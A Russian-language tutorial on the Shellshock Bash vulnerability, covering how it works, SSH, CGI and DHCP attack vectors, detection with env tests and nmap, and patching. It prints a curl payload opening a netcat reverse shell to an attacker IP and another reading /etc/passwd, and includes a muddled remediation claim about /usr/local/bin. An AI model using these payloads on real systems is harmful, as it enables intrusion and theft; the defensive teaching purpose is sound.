💣 Проверьте, уязвим ли сервер к ошибке Shellshock |

💣 Проверьте, уязвим ли сервер к ошибке Shellshock

Закрытие уязвимостей

Как проверить, уязвим ли сервер к багу Shellshock?

В этом руководстве мы поговорим об ошибке shellshock.

Это уязвимость, которая затрагивает GNU Bash начиная с версии 1.14 и ниже 4.3.

Эта ошибка затрагивает ОС на базе Unix, включая Linux, BSD и macOS.

Кроме того, поскольку на Linux работают многие интернет-серверы и IoT-устройства, они также могут быть уязвимы к этому эксплойту.

Ошибка Shellshock

Программа Bash не является публичной интернет-службой и редко становится объектом атак в Интернете.

Ошибка shellshock затрагивает оболочку Bash.

Ошибка позволяет удаленно выполнять команды в Bash из переменных окружения.

Это позволяет злоумышленнику запускать вредоносные скрипты в системе или на сервере.

Уязвимость shellshock возникает в тех случаях, когда некоторые специальные символы включаются в определение переменной окружения.

Злоумышленник может внедрить вредоносный код в это определение.

При обращении к содержимому переменной Bash запустит вредоносный код.

📜 Создание переменных, доступных только для чтения, а также неизменяемых переменных в Bash

Давайте посмотрим на определение этой переменной:

env x=' () {:;};'

Эта функция, объявленная в переменной окружения, является законной функцией оболочки Bash.

Мы можем вводить в эту переменную произвольные команды Linux, и оболочка Bash будет их выполнять.

Если добавить опцию bash -c, то при выполнении Bash будет запущен новый экземпляр Bash в качестве подпроцесса, который может выполнять новые команды.

Хорошо продуманная строка может использовать эту опцию для более эффективной атаки.

Эта угроза представляет собой значительную опасность, поскольку она проста в исполнении и не требует аутентификации, что позволяет получить неограниченный доступ к запуску программ, изменению конфигурации переменных окружения, захвату машин, созданию бэкдоров и краже данных.

Эксплуатация ошибки Shellshock

Злоумышленники могут использовать уязвимость Shellshock различными способами.

Например, они могут использовать ssh, веб-серверы, DHCP и веб-приложения на уязвимых серверах.

Давайте обсудим эти примеры подробнее.

Функция ForceCommand в OpenSSH – это фиксированная команда, выполняемая каждый раз, когда пользователь входит в систему.

Замещенная команда выполняется, поскольку функция игнорирует команду, указанную пользователем, и вместо нее выполняет ту, которую определяет ForceCommand.

Это действие вызывается в оболочке входа пользователя, если указана опция -c.

Проигнорированные пользователем команды помещаются в переменную окружения “SSH_ORIGINAL_COMMAND”.

Если оболочкой пользователя по умолчанию является Bash, то при запуске оболочка Bash проанализирует значение переменной окружения “SSH_ORIGINAL_COMMAND” и выполнит встроенные команды.

Таким образом, shellshock позволит любому человеку или любому процессу получить неограниченный доступ к оболочке.

Веб-серверы могут использовать интерфейс Common Gateway Interface (CGI) для обработки запроса документа. Когда веб-сервер получает HTTP-запрос, CGI копирует часть информации, полученной из запроса, в переменные окружения и далее передает запрос программе-обработчику.

Если программа-обработчик выполняет Bash или является Bash-скриптом, она получит и обработает переменные окружения, переданные сервером.

Оболочка Bash выполнит вредоносный код, содержащийся в переменной.

В документации к серверу Apache упоминается, что CGI-скрипты могут быть опасны: скрипты модулей mod_cgi и mod_cgid, написанные на языке Bash, могут порождать подпрограммы.

📜 Что такое CGI (Common Gateway Interface)?

Неопределенные клиенты DHCP могут выполнять скрипты, изменяющие переменные окружения.

Эти скрипты могут содержать произвольные команды, заданные пользователем.

Примеры команд для эксплуатации Shellshock

Давайте рассмотрим примеры команд, написанных для эксплуатации этой уязвимости.

Для CGI-скриптов вот пример команды:

curl -H "X-Frame-Options: () {:;};echo;/bin/nc -e /bin/bash 192.168.y.y 443" 192.168.x.y/CGI-bin/hello.cgi

192.168.y.y – это IP-адрес машины злоумышленника, на которой установлен слушатель на порт 443.

Другой пример – отправка HTTP-запроса для получения переданного нами файла:

curl --insecure 192.168.x.x -H "User-Agent: () { :; }; /bin/cat /etc/passwd"

Если версия Bash, на которой установлена система, уязвима к ошибке shellshock, будет показано содержимое /etc/passwd.

Стоит отметить, что существует множество вариаций использования этой уязвимости, например wopbot – ботнет, использующий ошибку shellshock.

Проверка уязвимости нашего сервера к Shellshock

Теперь давайте посмотрим, как мы можем найти эту ошибку в наших серверах.

Учитывая, что она затрагивает только версии ниже 4.3, давайте сначала проверим версию, на которой мы сейчас работаем:

bash --version
GNU bash, version 5.1.16(1)-release (x86_64-pc-Linux-gnu)
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

Далее, если мы нашли версию ниже 4.3, давайте проверим, уязвим ли наш сервер:

env X=' () { :;} ; echo Bash Infected' bash -c 'echo Bash test.'
Bash test.

Приведенный выше пример выдает “Bash test.”.

Это говорит о том, что данная версия не уязвима к шеллшоку.

В противном случае, если мы получим “Bash Infected”, наша версия Bash уязвима.

Для исправленных версий мы получим следующий результат:

env x=' () { :;}; echo Bash Infected' bash -c "echo Bash test."
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
Bash test.

После этого мы можем использовать скрипт nmap для проверки уязвимости:

🖧 Как использовать Nmap для сканирования уязвимостей?

nmap -sV -p- --script http-shellshock 192.168.x.x
nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls 192.168.x.x

Давайте посмотрим на вывод этих команд:

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack
| http-shellshock:
|   VULNERABLE:
|   HTTP Shellshock vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE: CVE-2014-6271
|       This web application might be affected by the vulnerability known as Shellshock. It seems the server
|       is executing commands injected via malicious HTTP headers.
|
|     Disclosure date: 2014-09-24
|     References:
|       http://www.openwall.com/lists/oss-security/2014/09/24/10
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
|       http://seclists.org/oss-sec/2014/q3/685
|_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

Устранение ошибки Shellshock

Если мы оставим уязвимость Bash Shellshock без исправления, она будет представлять значительный риск для безопасности наших систем.

Патчи для защиты от этой уязвимости доступны, нам нужно их получить и применить.

Во-первых, для дистрибутивов на базе Debian давайте обновим версию Bash, установленную на нашем сервере:

sudo apt-get update
sudo apt-get install --only-upgrade Bash

Аналогично, для дистрибутивов на базе RedHat обновим Bash:

yum -y update Bash

В-третьих, рекомендуется устанавливать Bash в /usr/local/bin.

Это связано с тем, что если он установлен в /bin/bash, то может быть изменен и вызван с помощью curl.

И наконец, мы должны отключить все CGI-скрипты, вызывающие оболочку Bash

. Изменение оболочки по умолчанию не решит проблему, так как скриптам можно задать запуск с использованием оболочки Bash.

Заключение

В этой статье мы рассмотрели ошибку shellshock. Мы узнали, что эта уязвимость эксплуатируется следующими способами: функция ForceCommand в ssh, через CGI-скрипты веб-серверов и неопределенные DHCP-клиенты.

Далее мы рассмотрели примеры shellshock-атак с использованием HTTP-запроса и curl.

Наконец, мы обсудили, как выявить уязвимость shellshock и как ее устранить.

 

Пожалуйста, не спамьте и никого не оскорбляйте. Это поле для комментариев, а не спамбокс. Рекламные ссылки не индексируются!
Добавить комментарий